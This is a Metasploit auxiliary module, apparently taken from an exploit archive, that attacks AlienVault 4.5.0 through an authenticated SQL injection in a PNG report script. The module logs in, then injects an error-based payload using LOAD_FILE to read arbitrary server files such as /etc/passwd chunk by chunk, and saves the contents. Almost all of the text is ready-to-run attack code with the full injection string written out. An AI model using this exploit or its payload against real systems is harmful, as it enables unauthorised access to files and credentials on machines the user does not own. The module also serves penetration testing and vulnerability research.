Exploit for AlienVault Authenticated SQL Injection Arbitrary File Read

## https://sploitus.com/exploit?id=PACKETSTORM:180673
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "AlienVault Authenticated SQL Injection Arbitrary File Read",  
'Description' => %q{  
AlienVault 4.5.0 is susceptible to an authenticated SQL injection attack via a PNG  
generation PHP file. This module exploits this to read an arbitrary file from  
the file system. Any authenticated user is able to exploit it, as administrator  
privileges aren't required.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Brandon Perry <bperry.volatile[at]gmail.com>' #meatpistol module  
],  
'References' =>  
[  
['EDB', '32644']  
],  
'DefaultOptions' =>  
{  
'SSL' => true  
},  
'Platform' => ['linux'],  
'Privileged' => false,  
'DisclosureDate' => '2014-03-30'))  
  
register_options(  
[  
Opt::RPORT(443),  
OptString.new('FILEPATH', [ true, 'Path to remote file', '/etc/passwd' ]),  
OptString.new('USERNAME', [ true, 'Single username' ]),  
OptString.new('PASSWORD', [ true, 'Single password' ]),  
OptString.new('TARGETURI', [ true, 'Relative URI of installation', '/' ])  
])  
  
end  
  
def run  
  
print_status("Get a valid session cookie...")  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php')  
})  
  
unless res and res.code == 200  
print_error("Server did not respond in an expected way")  
return  
end  
  
cookie = res.get_cookies  
  
if cookie.blank?  
print_error("Could not retrieve a cookie")  
return  
end  
  
post = {  
'embed' => '',  
'bookmark_string' => '',  
'user' => datastore['USERNAME'],  
'passu' => datastore['PASSWORD'],  
'pass' => Rex::Text.encode_base64(datastore['PASSWORD'])  
}  
  
print_status("Login...")  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php'),  
'method' => 'POST',  
'vars_post' => post,  
'cookie' => cookie  
})  
  
unless res and res.code == 302  
print_error("Server did not respond in an expected way")  
return  
end  
  
unless res.headers['Location'] && res.headers['Location'] == normalize_uri(target_uri.path, 'ossim/')  
print_error("Authentication failed")  
return  
end  
  
cookie = res.get_cookies  
  
if cookie.blank?  
print_error("Could not retrieve the authenticated cookie")  
return  
end  
  
i = 0  
full = ''  
filename = datastore['FILEPATH'].unpack("H*")[0]  
left_marker = Rex::Text.rand_text_alpha(6)  
right_marker = Rex::Text.rand_text_alpha(6)  
  
print_status("Exploiting SQLi...")  
  
loop do  
file = sqli(left_marker, right_marker, i, cookie, filename)  
return if file.nil?  
break if file.empty?  
  
str = [file].pack("H*")  
full << str  
vprint_status(str)  
  
i = i+1  
end  
  
path = store_loot('alienvault.file', 'text/plain', datastore['RHOST'], full, datastore['FILEPATH'])  
print_good("File stored at path: " + path)  
end  
  
def sqli(left_marker, right_marker, i, cookie, filename)  
pay = "2014-02-28' AND (SELECT 1170 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},"  
pay << "(SELECT MID((IFNULL(CAST(HEX(LOAD_FILE(0x#{filename})) AS CHAR),"  
pay << "0x20)),#{(50*i)+1},50)),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS"  
pay << " GROUP BY x)a) AND 'xnDa'='xnDa"  
  
get = {  
'date_from' => pay,  
'date_to' => '2014-03-30'  
}  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'ossim', 'report', 'BusinessAndComplianceISOPCI', 'ISO27001Bar1.php'),  
'cookie' => cookie,  
'vars_get' => get  
})  
  
if res and res.body and res.body =~ /#{left_marker}(.*)#{right_marker}/  
return $1  
else  
print_error("Server did not respond in an expected way")  
return nil  
end  
end  
end